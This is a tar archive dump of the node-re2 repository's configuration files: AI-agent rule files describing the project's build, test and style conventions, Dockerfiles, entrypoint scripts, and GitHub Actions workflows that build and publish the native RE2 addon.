pax_global_header00006660000000000000000000000064152143550420014513gustar00rootroot0000000000000052 comment=2d93a5d9991fd45caeefd44f8b322825a0e1b2c6 uhop-node-re2-2d93a5d/000077500000000000000000000000001521435504200145145ustar00rootroot00000000000000uhop-node-re2-2d93a5d/.clinerules000066400000000000000000000201511521435504200166610ustar00rootroot00000000000000 # AGENTS.md — node-re2 > `node-re2` provides Node.js bindings for [RE2](https://github.com/google/re2): a fast, safe alternative to backtracking regular expression engines. The npm package name is `re2`. It is a C++ native addon built with `node-gyp` and `nan`. For project structure, module dependencies, and the architecture overview see [ARCHITECTURE.md](./ARCHITECTURE.md). For detailed usage docs see the [README](./README.md) and the [wiki](https://github.com/uhop/node-re2/wiki). ## Setup This project uses git submodules for vendored dependencies (RE2 and Abseil): ```bash git clone --recursive https://github.com/uhop/node-re2.git cd node-re2 npm install ``` If the native addon fails to download a prebuilt artifact, it builds locally via `node-gyp`. **Supported Node.js versions:** `^22.22.2 || ^24.15.0 || >=26.0.0` (the `engines` field). Narrowed in 1.25.0 to mirror `node-gyp` 13 — Node 25.x and the older 22.0–22.22.1 / 24.0–24.14 patch ranges are no longer supported. ## Commands - **Install:** `npm install` (downloads prebuilt artifact or builds from source) - **Build (release):** `npm run rebuild` (or `node-gyp -j max rebuild`) - **Build (debug):** `npm run rebuild:dev` (or `node-gyp -j max rebuild --debug`) - **Test:** `npm test` (runs `tape6 --flags FO`, worker threads) - **Test (sequential):** `npm run test:seq` - **Test (multi-process):** `npm run test:proc` - **Test (single file):** `node tests/test-.mjs` - **TypeScript check:** `npm run ts-check` - **Lint:** `npm run lint` (Prettier check) - **Lint fix:** `npm run lint:fix` (Prettier write) - **Verify build:** `npm run verify-build` ## Project structure ``` node-re2/ ├── package.json # Package config; "tape6" section configures test discovery ├── binding.gyp # node-gyp build configuration for the C++ addon ├── re2.js # Main entry point: loads native addon, sets up Symbol aliases ├── re2.d.ts # TypeScript declarations for the public API ├── tsconfig.json # TypeScript config (noEmit, strict, types: ["node"]) ├── lib/ # C++ source code (native addon) │ ├── addon.cc # Node.js addon initialization, method registration │ ├── wrapped_re2.h # WrappedRE2 class definition (core C++ wrapper) │ ├── wrapped_re2_set.h # WrappedRE2Set class definition (RE2.Set wrapper) │ ├── isolate_data.h # Per-isolate data struct for thread-safe addon state │ ├── new.cc # Constructor: parse pattern/flags, create RE2 instance │ ├── exec.cc # RE2.prototype.exec() implementation │ ├── test.cc # RE2.prototype.test() implementation │ ├── match.cc # RE2.prototype.match() implementation │ ├── replace.cc # RE2.prototype.replace() implementation │ ├── search.cc # RE2.prototype.search() implementation │ ├── split.cc # RE2.prototype.split() implementation │ ├── to_string.cc # RE2.prototype.toString() implementation │ ├── accessors.cc # Property accessors (source, flags, lastIndex, etc.) │ ├── pattern.cc # Pattern translation (RegExp → RE2 syntax, Unicode classes) │ ├── set.cc # RE2.Set implementation (multi-pattern matching) │ ├── util.cc # Shared utilities (UTF-8/UTF-16 conversion, buffer helpers) │ ├── util.h # Utility declarations │ └── pattern.h # Pattern translation declarations ├── scripts/ │ └── verify-build.js # Quick smoke test for the built addon ├── tests/ # Test files (test-*.mjs using tape-six) ├── ts-tests/ # TypeScript type-checking tests │ └── test-types.ts # Verifies type declarations compile correctly ├── bench/ # Benchmarks ├── vendor/ # Vendored C++ dependencies (git submodules) │ ├── re2/ # Google RE2 library source │ └── abseil-cpp/ # Abseil C++ library (RE2 dependency) └── .github/ # CI workflows, Dependabot config, actions ``` ## Code style - **CommonJS** throughout (`"type": "commonjs"` in package.json). - **No transpilation** — JavaScript code runs directly. - **C++ code** uses tabs for indentation, 4-wide. JavaScript uses 2-space indentation. - **Prettier** for JS/TS formatting (see `.prettierrc`): 80 char width, single quotes, no bracket spacing, no trailing commas, arrow parens "avoid". - **nan** (Native Abstractions for Node.js) for the C++ addon API. - Semicolons are enforced by Prettier (default `semi: true`). - Imports use `require()` syntax in source, `import` in tests (`.mjs`). ## Critical rules - **Do not modify vendored code.** Never edit files under `vendor/`. They are git submodules. - **Do not modify or delete test expectations** without understanding why they changed. - **Do not add comments or remove comments** unless explicitly asked. - **Keep `re2.js` and `re2.d.ts` in sync.** All public API exposed from `re2.js` must be typed in `re2.d.ts`. - **The addon must build on all supported platforms:** Linux (x64, arm64, Alpine), macOS (x64, arm64), Windows (x64, arm64). - **RE2 is always Unicode-mode.** The `u` flag is always added implicitly. - **Buffer support is a first-class feature.** All methods that accept strings must also accept Buffers, returning Buffers when given Buffer input. ## Architecture - `re2.js` is the main entry point. It loads the native C++ addon from `build/Release/re2.node` and sets up `Symbol.match`, `Symbol.search`, `Symbol.replace`, `Symbol.split`, and `Symbol.matchAll` on the prototype. - The C++ addon (`lib/*.cc`) wraps Google's RE2 library via nan. Each RegExp method has its own `.cc` file. - `lib/new.cc` handles construction: parsing patterns, translating RegExp syntax to RE2 syntax (via `lib/pattern.cc`), and creating the underlying `re2::RE2` instance. - `lib/pattern.cc` translates JavaScript RegExp features to RE2 equivalents. General_Category and Script are mapped to RE2-native names (`\p{Letter}` → `\p{L}`, `\p{Script=Latin}` → `\p{Latin}`); binary properties (Emoji, Alphabetic, ASCII, ID_Start, …) and Script_Extensions are expanded inline to codepoint-range character classes using tables in `lib/unicode_properties.h`. The full accepted set matches [MDN's Unicode character class escape reference](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Unicode_character_class_escape) (excluding `v`-flag Properties of Strings). Tables are auto-generated from `@unicode/unicode-17.0.0` via `node scripts/gen-unicode-properties.mjs`. - `lib/set.cc` implements `RE2.Set` for multi-pattern matching using `re2::RE2::Set`. - `lib/util.cc` provides UTF-8 ↔ UTF-16 conversion helpers and buffer utilities. - Prebuilt native artifacts are hosted on GitHub Releases and downloaded at install time via `install-artifact-from-github`. ## Writing tests ```js import test from 'tape-six'; import {RE2} from '../re2.js'; test('example', t => { const re = new RE2('a(b*)', 'i'); const result = re.exec('aBbC'); t.ok(result); t.equal(result[0], 'aBb'); t.equal(result[1], 'Bb'); }); ``` - Test files use `tape-six`: `.mjs` for runtime tests, `.ts` for TypeScript typing tests. - Test file naming convention: `test-*.mjs` in `tests/`, `test-*.ts` in `ts-tests/`. - Tests are configured in `package.json` under the `"tape6"` section. - Test files should be directly executable: `node tests/test-foo.mjs`. ## Key conventions - The library is a drop-in replacement for `RegExp` — the `RE2` object emulates the standard `RegExp` API. - `RE2.Set` provides multi-pattern matching: `new RE2.Set(patterns, flags, options)`. - Static helpers: `RE2.getUtf8Length(str)`, `RE2.getUtf16Length(buf)`. - `RE2.unicodeWarningLevel` controls behavior when non-Unicode regexps are created. - The `install` script tries to download a prebuilt `.node` artifact before falling back to `node-gyp rebuild`. - All C++ source is in `lib/`, all vendored third-party C++ is in `vendor/`. uhop-node-re2-2d93a5d/.cursorrules000066400000000000000000000201511521435504200171040ustar00rootroot00000000000000 # AGENTS.md — node-re2 > `node-re2` provides Node.js bindings for [RE2](https://github.com/google/re2): a fast, safe alternative to backtracking regular expression engines. The npm package name is `re2`. It is a C++ native addon built with `node-gyp` and `nan`. For project structure, module dependencies, and the architecture overview see [ARCHITECTURE.md](./ARCHITECTURE.md). For detailed usage docs see the [README](./README.md) and the [wiki](https://github.com/uhop/node-re2/wiki). ## Setup This project uses git submodules for vendored dependencies (RE2 and Abseil): ```bash git clone --recursive https://github.com/uhop/node-re2.git cd node-re2 npm install ``` If the native addon fails to download a prebuilt artifact, it builds locally via `node-gyp`. **Supported Node.js versions:** `^22.22.2 || ^24.15.0 || >=26.0.0` (the `engines` field). Narrowed in 1.25.0 to mirror `node-gyp` 13 — Node 25.x and the older 22.0–22.22.1 / 24.0–24.14 patch ranges are no longer supported. ## Commands - **Install:** `npm install` (downloads prebuilt artifact or builds from source) - **Build (release):** `npm run rebuild` (or `node-gyp -j max rebuild`) - **Build (debug):** `npm run rebuild:dev` (or `node-gyp -j max rebuild --debug`) - **Test:** `npm test` (runs `tape6 --flags FO`, worker threads) - **Test (sequential):** `npm run test:seq` - **Test (multi-process):** `npm run test:proc` - **Test (single file):** `node tests/test-.mjs` - **TypeScript check:** `npm run ts-check` - **Lint:** `npm run lint` (Prettier check) - **Lint fix:** `npm run lint:fix` (Prettier write) - **Verify build:** `npm run verify-build` ## Project structure ``` node-re2/ ├── package.json # Package config; "tape6" section configures test discovery ├── binding.gyp # node-gyp build configuration for the C++ addon ├── re2.js # Main entry point: loads native addon, sets up Symbol aliases ├── re2.d.ts # TypeScript declarations for the public API ├── tsconfig.json # TypeScript config (noEmit, strict, types: ["node"]) ├── lib/ # C++ source code (native addon) │ ├── addon.cc # Node.js addon initialization, method registration │ ├── wrapped_re2.h # WrappedRE2 class definition (core C++ wrapper) │ ├── wrapped_re2_set.h # WrappedRE2Set class definition (RE2.Set wrapper) │ ├── isolate_data.h # Per-isolate data struct for thread-safe addon state │ ├── new.cc # Constructor: parse pattern/flags, create RE2 instance │ ├── exec.cc # RE2.prototype.exec() implementation │ ├── test.cc # RE2.prototype.test() implementation │ ├── match.cc # RE2.prototype.match() implementation │ ├── replace.cc # RE2.prototype.replace() implementation │ ├── search.cc # RE2.prototype.search() implementation │ ├── split.cc # RE2.prototype.split() implementation │ ├── to_string.cc # RE2.prototype.toString() implementation │ ├── accessors.cc # Property accessors (source, flags, lastIndex, etc.) │ ├── pattern.cc # Pattern translation (RegExp → RE2 syntax, Unicode classes) │ ├── set.cc # RE2.Set implementation (multi-pattern matching) │ ├── util.cc # Shared utilities (UTF-8/UTF-16 conversion, buffer helpers) │ ├── util.h # Utility declarations │ └── pattern.h # Pattern translation declarations ├── scripts/ │ └── verify-build.js # Quick smoke test for the built addon ├── tests/ # Test files (test-*.mjs using tape-six) ├── ts-tests/ # TypeScript type-checking tests │ └── test-types.ts # Verifies type declarations compile correctly ├── bench/ # Benchmarks ├── vendor/ # Vendored C++ dependencies (git submodules) │ ├── re2/ # Google RE2 library source │ └── abseil-cpp/ # Abseil C++ library (RE2 dependency) └── .github/ # CI workflows, Dependabot config, actions ``` ## Code style - **CommonJS** throughout (`"type": "commonjs"` in package.json). - **No transpilation** — JavaScript code runs directly. - **C++ code** uses tabs for indentation, 4-wide. JavaScript uses 2-space indentation. - **Prettier** for JS/TS formatting (see `.prettierrc`): 80 char width, single quotes, no bracket spacing, no trailing commas, arrow parens "avoid". - **nan** (Native Abstractions for Node.js) for the C++ addon API. - Semicolons are enforced by Prettier (default `semi: true`). - Imports use `require()` syntax in source, `import` in tests (`.mjs`). ## Critical rules - **Do not modify vendored code.** Never edit files under `vendor/`. They are git submodules. - **Do not modify or delete test expectations** without understanding why they changed. - **Do not add comments or remove comments** unless explicitly asked. - **Keep `re2.js` and `re2.d.ts` in sync.** All public API exposed from `re2.js` must be typed in `re2.d.ts`. - **The addon must build on all supported platforms:** Linux (x64, arm64, Alpine), macOS (x64, arm64), Windows (x64, arm64). - **RE2 is always Unicode-mode.** The `u` flag is always added implicitly. - **Buffer support is a first-class feature.** All methods that accept strings must also accept Buffers, returning Buffers when given Buffer input. ## Architecture - `re2.js` is the main entry point. It loads the native C++ addon from `build/Release/re2.node` and sets up `Symbol.match`, `Symbol.search`, `Symbol.replace`, `Symbol.split`, and `Symbol.matchAll` on the prototype. - The C++ addon (`lib/*.cc`) wraps Google's RE2 library via nan. Each RegExp method has its own `.cc` file. - `lib/new.cc` handles construction: parsing patterns, translating RegExp syntax to RE2 syntax (via `lib/pattern.cc`), and creating the underlying `re2::RE2` instance. - `lib/pattern.cc` translates JavaScript RegExp features to RE2 equivalents. General_Category and Script are mapped to RE2-native names (`\p{Letter}` → `\p{L}`, `\p{Script=Latin}` → `\p{Latin}`); binary properties (Emoji, Alphabetic, ASCII, ID_Start, …) and Script_Extensions are expanded inline to codepoint-range character classes using tables in `lib/unicode_properties.h`. The full accepted set matches [MDN's Unicode character class escape reference](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Unicode_character_class_escape) (excluding `v`-flag Properties of Strings). Tables are auto-generated from `@unicode/unicode-17.0.0` via `node scripts/gen-unicode-properties.mjs`. - `lib/set.cc` implements `RE2.Set` for multi-pattern matching using `re2::RE2::Set`. - `lib/util.cc` provides UTF-8 ↔ UTF-16 conversion helpers and buffer utilities. - Prebuilt native artifacts are hosted on GitHub Releases and downloaded at install time via `install-artifact-from-github`. ## Writing tests ```js import test from 'tape-six'; import {RE2} from '../re2.js'; test('example', t => { const re = new RE2('a(b*)', 'i'); const result = re.exec('aBbC'); t.ok(result); t.equal(result[0], 'aBb'); t.equal(result[1], 'Bb'); }); ``` - Test files use `tape-six`: `.mjs` for runtime tests, `.ts` for TypeScript typing tests. - Test file naming convention: `test-*.mjs` in `tests/`, `test-*.ts` in `ts-tests/`. - Tests are configured in `package.json` under the `"tape6"` section. - Test files should be directly executable: `node tests/test-foo.mjs`. ## Key conventions - The library is a drop-in replacement for `RegExp` — the `RE2` object emulates the standard `RegExp` API. - `RE2.Set` provides multi-pattern matching: `new RE2.Set(patterns, flags, options)`. - Static helpers: `RE2.getUtf8Length(str)`, `RE2.getUtf16Length(buf)`. - `RE2.unicodeWarningLevel` controls behavior when non-Unicode regexps are created. - The `install` script tries to download a prebuilt `.node` artifact before falling back to `node-gyp rebuild`. - All C++ source is in `lib/`, all vendored third-party C++ is in `vendor/`. uhop-node-re2-2d93a5d/.editorconfig000066400000000000000000000003061521435504200171700ustar00rootroot00000000000000root = true [*] charset = utf-8 end_of_line = lf insert_final_newline = true trim_trailing_whitespace = true indent_style = space indent_size = 2 [*.{h,cc,cpp}] indent_style = tab indent_size = 4 uhop-node-re2-2d93a5d/.github/000077500000000000000000000000001521435504200160545ustar00rootroot00000000000000uhop-node-re2-2d93a5d/.github/COPILOT-INSTRUCTIONS.md000066400000000000000000000002361521435504200214520ustar00rootroot00000000000000 See [AGENTS.md](../AGENTS.md) for all AI agent rules and project conventions. uhop-node-re2-2d93a5d/.github/FUNDING.yml000066400000000000000000000000431521435504200176660ustar00rootroot00000000000000github: uhop buy_me_a_coffee: uhop uhop-node-re2-2d93a5d/.github/actions/000077500000000000000000000000001521435504200175145ustar00rootroot00000000000000uhop-node-re2-2d93a5d/.github/actions/linux-alpine-node-22/000077500000000000000000000000001521435504200232655ustar00rootroot00000000000000uhop-node-re2-2d93a5d/.github/actions/linux-alpine-node-22/Dockerfile000066400000000000000000000002201521435504200252510ustar00rootroot00000000000000FROM node:22-alpine RUN apk add --no-cache python3 make gcc g++ linux-headers COPY entrypoint.sh /entrypoint.sh ENTRYPOINT ["/entrypoint.sh"] uhop-node-re2-2d93a5d/.github/actions/linux-alpine-node-22/action.yml000066400000000000000000000003411521435504200252630ustar00rootroot00000000000000name: 'Create a binary artifact for Node 22 on Alpine Linux' description: 'Create a binary artifact for Node 22 on Alpine Linux using musl' runs: using: 'docker' image: 'Dockerfile' args: - ${{inputs.node-version}} uhop-node-re2-2d93a5d/.github/actions/linux-alpine-node-22/entrypoint.sh000077500000000000000000000002301521435504200260320ustar00rootroot00000000000000#!/bin/sh set -e export USERNAME=`whoami` export DEVELOPMENT_SKIP_GETTING_ASSET=true npm i npm run build --if-present npm test npm run save-to-github uhop-node-re2-2d93a5d/.github/actions/linux-alpine-node-24/000077500000000000000000000000001521435504200232675ustar00rootroot00000000000000uhop-node-re2-2d93a5d/.github/actions/linux-alpine-node-24/Dockerfile000066400000000000000000000002201521435504200252530ustar00rootroot00000000000000FROM node:24-alpine RUN apk add --no-cache python3 make gcc g++ linux-headers COPY entrypoint.sh /entrypoint.sh ENTRYPOINT ["/entrypoint.sh"] uhop-node-re2-2d93a5d/.github/actions/linux-alpine-node-24/action.yml000066400000000000000000000003411521435504200252650ustar00rootroot00000000000000name: 'Create a binary artifact for Node 24 on Alpine Linux' description: 'Create a binary artifact for Node 24 on Alpine Linux using musl' runs: using: 'docker' image: 'Dockerfile' args: - ${{inputs.node-version}} uhop-node-re2-2d93a5d/.github/actions/linux-alpine-node-24/entrypoint.sh000077500000000000000000000002301521435504200260340ustar00rootroot00000000000000#!/bin/sh set -e export USERNAME=`whoami` export DEVELOPMENT_SKIP_GETTING_ASSET=true npm i npm run build --if-present npm test npm run save-to-github uhop-node-re2-2d93a5d/.github/actions/linux-alpine-node-26/000077500000000000000000000000001521435504200232715ustar00rootroot00000000000000uhop-node-re2-2d93a5d/.github/actions/linux-alpine-node-26/Dockerfile000066400000000000000000000002201521435504200252550ustar00rootroot00000000000000FROM node:26-alpine RUN apk add --no-cache python3 make gcc g++ linux-headers COPY entrypoint.sh /entrypoint.sh ENTRYPOINT ["/entrypoint.sh"] uhop-node-re2-2d93a5d/.github/actions/linux-alpine-node-26/action.yml000066400000000000000000000005021521435504200252660ustar00rootroot00000000000000name: 'Create a binary artifact for Node 26 on Alpine Linux' description: 'Create a binary artifact for Node 26 on Alpine Linux using musl' inputs: node-version: description: 'Node.js version' required: false default: '26' runs: using: 'docker' image: 'Dockerfile' args: - ${{inputs.node-version}} uhop-node-re2-2d93a5d/.github/actions/linux-alpine-node-26/entrypoint.sh000077500000000000000000000002301521435504200260360ustar00rootroot00000000000000#!/bin/sh set -e export USERNAME=`whoami` export DEVELOPMENT_SKIP_GETTING_ASSET=true npm i npm run build --if-present npm test npm run save-to-github uhop-node-re2-2d93a5d/.github/actions/linux-node-22/000077500000000000000000000000001521435504200220175ustar00rootroot00000000000000uhop-node-re2-2d93a5d/.github/actions/linux-node-22/Dockerfile000066400000000000000000000001751521435504200240140ustar00rootroot00000000000000FROM node:22-bullseye RUN apt install python3 make gcc g++ COPY entrypoint.sh /entrypoint.sh ENTRYPOINT ["/entrypoint.sh"] uhop-node-re2-2d93a5d/.github/actions/linux-node-22/action.yml000066400000000000000000000005111521435504200240140ustar00rootroot00000000000000name: 'Create a binary artifact for Node 22 on Debian Bullseye Linux' description: 'Create a binary artifact for Node 22 on Debian Bullseye Linux' inputs: node-version: description: 'Node.js version' required: false default: '22' runs: using: 'docker' image: 'Dockerfile' args: - ${{inputs.node-version}} uhop-node-re2-2d93a5d/.github/actions/linux-node-22/entrypoint.sh000077500000000000000000000002301521435504200245640ustar00rootroot00000000000000#!/bin/sh set -e export USERNAME=`whoami` export DEVELOPMENT_SKIP_GETTING_ASSET=true npm i npm run build --if-present npm test npm run save-to-github uhop-node-re2-2d93a5d/.github/actions/linux-node-24/000077500000000000000000000000001521435504200220215ustar00rootroot00000000000000uhop-node-re2-2d93a5d/.github/actions/linux-node-24/Dockerfile000066400000000000000000000001751521435504200240160ustar00rootroot00000000000000FROM node:24-bullseye RUN apt install python3 make gcc g++ COPY entrypoint.sh /entrypoint.sh ENTRYPOINT ["/entrypoint.sh"] uhop-node-re2-2d93a5d/.github/actions/linux-node-24/action.yml000066400000000000000000000005111521435504200240160ustar00rootroot00000000000000name: 'Create a binary artifact for Node 24 on Debian Bullseye Linux' description: 'Create a binary artifact for Node 24 on Debian Bullseye Linux' inputs: node-version: description: 'Node.js version' required: false default: '24' runs: using: 'docker' image: 'Dockerfile' args: - ${{inputs.node-version}} uhop-node-re2-2d93a5d/.github/actions/linux-node-24/entrypoint.sh000077500000000000000000000002301521435504200245660ustar00rootroot00000000000000#!/bin/sh set -e export USERNAME=`whoami` export DEVELOPMENT_SKIP_GETTING_ASSET=true npm i npm run build --if-present npm test npm run save-to-github uhop-node-re2-2d93a5d/.github/actions/linux-node-26/000077500000000000000000000000001521435504200220235ustar00rootroot00000000000000uhop-node-re2-2d93a5d/.github/actions/linux-node-26/Dockerfile000066400000000000000000000001731521435504200240160ustar00rootroot00000000000000FROM node:26-trixie RUN apt install python3 make gcc g++ COPY entrypoint.sh /entrypoint.sh ENTRYPOINT ["/entrypoint.sh"] uhop-node-re2-2d93a5d/.github/actions/linux-node-26/action.yml000066400000000000000000000005051521435504200240230ustar00rootroot00000000000000name: 'Create a binary artifact for Node 26 on Debian Trixie Linux' description: 'Create a binary artifact for Node 26 on Debian Trixie Linux' inputs: node-version: description: 'Node.js version' required: false default: '26' runs: using: 'docker' image: 'Dockerfile' args: - ${{inputs.node-version}} uhop-node-re2-2d93a5d/.github/actions/linux-node-26/entrypoint.sh000077500000000000000000000002301521435504200245700ustar00rootroot00000000000000#!/bin/sh set -e export USERNAME=`whoami` export DEVELOPMENT_SKIP_GETTING_ASSET=true npm i npm run build --if-present npm test npm run save-to-github uhop-node-re2-2d93a5d/.github/dependabot.yml000066400000000000000000000014361521435504200207100ustar00rootroot00000000000000# To get started with Dependabot version updates, you'll need to specify which # package ecosystems to update and where the package manifests are located. # Please see the documentation for all configuration options: # https://docs.github.com/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file version: 2 updates: - package-ecosystem: 'npm' # See documentation for possible values directory: '/' # Location of package manifests schedule: interval: 'weekly' versioning-strategy: 'increase-if-necessary' groups: npm-deps: patterns: - '*' - package-ecosystem: 'github-actions' directory: '/' schedule: interval: 'weekly' groups: gh-actions: patterns: - '*' uhop-node-re2-2d93a5d/.github/workflows/000077500000000000000000000000001521435504200201115ustar00rootroot00000000000000uhop-node-re2-2d93a5d/.github/workflows/build.yml000066400000000000000000000223231521435504200217350ustar00rootroot00000000000000name: Node.js builds on: push: tags: - v?[0-9]+.[0-9]+.[0-9]+.[0-9]+ - v?[0-9]+.[0-9]+.[0-9]+ - v?[0-9]+.[0-9]+ permissions: id-token: write contents: write attestations: write jobs: create-release: name: Create release runs-on: ubuntu-latest steps: - uses: actions/checkout@v6 - env: GH_TOKEN: ${{github.token}} run: | REF=${{github.ref}} TAG=${REF#"refs/tags/"} gh release create -t "Release ${TAG}" -n "" "${{github.ref}}" build: name: Node.js ${{matrix.node-version}} on ${{matrix.os}} needs: create-release runs-on: ${{matrix.os}} strategy: matrix: os: [macos-latest, windows-latest, macos-15-intel, windows-11-arm] node-version: [22, 24, 26] steps: - uses: actions/checkout@v6 with: submodules: true - name: Setup Node.js ${{matrix.node-version}} uses: actions/setup-node@v6 with: node-version: ${{matrix.node-version}} - name: Install the package and run tests env: DEVELOPMENT_SKIP_GETTING_ASSET: true run: | npm i npm run build --if-present npm test - name: Save to GitHub env: GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} run: npm run save-to-github - name: Attest if: env.CREATED_ASSET_NAME != '' uses: actions/attest-build-provenance@v4 with: subject-name: '${{ env.CREATED_ASSET_NAME }}' subject-path: '${{ github.workspace }}/build/Release/re2.node' build-linux-node-22: name: Node.js 22 on Bullseye needs: create-release runs-on: ubuntu-latest continue-on-error: true steps: - uses: actions/checkout@v6 with: submodules: true - name: Install, test, and create artifact uses: ./.github/actions/linux-node-22/ env: GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} - name: Attest if: env.CREATED_ASSET_NAME != '' uses: actions/attest-build-provenance@v4 with: subject-name: '${{ env.CREATED_ASSET_NAME }}' subject-path: '${{ github.workspace }}/build/Release/re2.node' build-linux-alpine-node-22: name: Node.js 22 on Alpine needs: create-release runs-on: ubuntu-latest continue-on-error: true steps: - uses: actions/checkout@v6 with: submodules: true - name: Install, test, and create artifact uses: ./.github/actions/linux-alpine-node-22/ env: GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} - name: Attest if: env.CREATED_ASSET_NAME != '' uses: actions/attest-build-provenance@v4 with: subject-name: '${{ env.CREATED_ASSET_NAME }}' subject-path: '${{ github.workspace }}/build/Release/re2.node' build-linux-arm64-node-22: name: Node.js 22 on Bullseye ARM64 needs: create-release runs-on: ubuntu-24.04-arm continue-on-error: true steps: - uses: actions/checkout@v6 with: submodules: true - name: Install, test, and create artifact uses: ./.github/actions/linux-node-22/ env: GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} - name: Attest if: env.CREATED_ASSET_NAME != '' uses: actions/attest-build-provenance@v4 with: subject-name: '${{ env.CREATED_ASSET_NAME }}' subject-path: '${{ github.workspace }}/build/Release/re2.node' build-linux-arm64-alpine-node-22: name: Node.js 22 on Alpine ARM64 needs: create-release runs-on: ubuntu-24.04-arm continue-on-error: true steps: - uses: actions/checkout@v6 with: submodules: true - name: Install, test, and create artifact uses: ./.github/actions/linux-alpine-node-22/ env: GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} - name: Attest if: env.CREATED_ASSET_NAME != '' uses: actions/attest-build-provenance@v4 with: subject-name: '${{ env.CREATED_ASSET_NAME }}' subject-path: '${{ github.workspace }}/build/Release/re2.node' build-linux-node-24: name: Node.js 24 on Bullseye needs: create-release runs-on: ubuntu-latest continue-on-error: true steps: - uses: actions/checkout@v6 with: submodules: true - name: Install, test, and create artifact uses: ./.github/actions/linux-node-24/ env: GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} - name: Attest if: env.CREATED_ASSET_NAME != '' uses: actions/attest-build-provenance@v4 with: subject-name: '${{ env.CREATED_ASSET_NAME }}' subject-path: '${{ github.workspace }}/build/Release/re2.node' build-linux-alpine-node-24: name: Node.js 24 on Alpine needs: create-release runs-on: ubuntu-latest continue-on-error: true steps: - uses: actions/checkout@v6 with: submodules: true - name: Install, test, and create artifact uses: ./.github/actions/linux-alpine-node-24/ env: GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} - name: Attest if: env.CREATED_ASSET_NAME != '' uses: actions/attest-build-provenance@v4 with: subject-name: '${{ env.CREATED_ASSET_NAME }}' subject-path: '${{ github.workspace }}/build/Release/re2.node' build-linux-arm64-node-24: name: Node.js 24 on Bullseye ARM64 needs: create-release runs-on: ubuntu-24.04-arm continue-on-error: true steps: - uses: actions/checkout@v6 with: submodules: true - name: Install, test, and create artifact uses: ./.github/actions/linux-node-24/ env: GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} - name: Attest if: env.CREATED_ASSET_NAME != '' uses: actions/attest-build-provenance@v4 with: subject-name: '${{ env.CREATED_ASSET_NAME }}' subject-path: '${{ github.workspace }}/build/Release/re2.node' build-linux-arm64-alpine-node-24: name: Node.js 24 on Alpine ARM64 needs: create-release runs-on: ubuntu-24.04-arm continue-on-error: true steps: - uses: actions/checkout@v6 with: submodules: true - name: Install, test, and create artifact uses: ./.github/actions/linux-alpine-node-24/ env: GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} - name: Attest if: env.CREATED_ASSET_NAME != '' uses: actions/attest-build-provenance@v4 with: subject-name: '${{ env.CREATED_ASSET_NAME }}' subject-path: '${{ github.workspace }}/build/Release/re2.node' build-linux-node-26: name: Node.js 26 on Trixie needs: create-release runs-on: ubuntu-latest continue-on-error: true steps: - uses: actions/checkout@v6 with: submodules: true - name: Install, test, and create artifact uses: ./.github/actions/linux-node-26/ env: GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} - name: Attest if: env.CREATED_ASSET_NAME != '' uses: actions/attest-build-provenance@v4 with: subject-name: '${{ env.CREATED_ASSET_NAME }}' subject-path: '${{ github.workspace }}/build/Release/re2.node' build-linux-alpine-node-26: name: Node.js 26 on Alpine needs: create-release runs-on: ubuntu-latest continue-on-error: true steps: - uses: actions/checkout@v6 with: submodules: true - name: Install, test, and create artifact uses: ./.github/actions/linux-alpine-node-26/ env: GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} - name: Attest if: env.CREATED_ASSET_NAME != '' uses: actions/attest-build-provenance@v4 with: subject-name: '${{ env.CREATED_ASSET_NAME }}' subject-path: '${{ github.workspace }}/build/Release/re2.node' build-linux-arm64-node-26: name: Node.js 26 on Trixie ARM64 needs: create-release runs-on: ubuntu-24.04-arm continue-on-error: true steps: - uses: actions/checkout@v6 with: submodules: true - name: Install, test, and create artifact uses: ./.github/actions/linux-node-26/ env: GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} - name: Attest if: env.CREATED_ASSET_NAME != '' uses: actions/attest-build-provenance@v4 with: subject-name: '${{ env.CREATED_ASSET_NAME }}' subject-path: '${{ github.workspace }}/build/Release/re2.node' build-linux-arm64-alpine-node-26: name: Node.js 26 on Alpine ARM64 needs: create-release runs-on: ubuntu-24.04-arm continue-on-error: true steps: - uses: actions/checkout@v6 with: submodules: true - name: Install, test, and create artifact uses: ./.github/actions/linux-alpine-node-26/ env: GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} - name: Attest if: env.CREATED_ASSET_NAME != '' uses: actions/attest-build-provenance@v4 with: subject-name: '${{ env.CREATED_ASSET_NAME }}' subject-path: '${{ github.workspace }}/build/Release/re2.node' uhop-node-re2-2d93a5d/.github/workflows/tests.yml000066400000000000000000000014151521435504200217770ustar00rootroot00000000000000name: Node.js CI on: push: branches: ['*'] pull_request: branches: [master] permissions: contents: read jobs: tests: name: Node.js ${{matrix.node-version}} on ${{matrix.os}} runs-on: ${{matrix.os}} strategy: matrix: os: [ubuntu-latest, macOS-latest, windows-latest] node-version: [22, 24, 26] steps: - uses: actions/checkout@v6 with: submodules: true - name: Setup Node.js ${{matrix.node-version}} uses: actions/setup-node@v6 with: node-version: ${{matrix.node-version}} - name: Install the package and run tests env: DEVELOPMENT_SKIP_GETTING_ASSET: true run: | npm i npm run build --if-present npm test uhop-node-re2-2d93a5d/.gitignore000066400000000000000000000002641521435504200165060ustar00rootroot00000000000000node_modules/ build/ report/ coverage/ .AppleDouble /.development /.developmentx /.xdevelopment /scripts/save-local.sh /.claude/scheduled_tasks.lock /.claude/settings.local.json uhop-node-re2-2d93a5d/.gitmodules000066400000000000000000000004101521435504200166640ustar00rootroot00000000000000[submodule "vendor/re2"] path = vendor/re2 url = https://github.com/google/re2 [submodule "vendor/abseil-cpp"] path = vendor/abseil-cpp url = https://github.com/abseil/abseil-cpp [submodule "wiki"] path = wiki url = https://github.com/uhop/node-re2.wiki.git uhop-node-re2-2d93a5d/.prettierignore000066400000000000000000000000251521435504200175540ustar00rootroot00000000000000/.windsurf/workflows 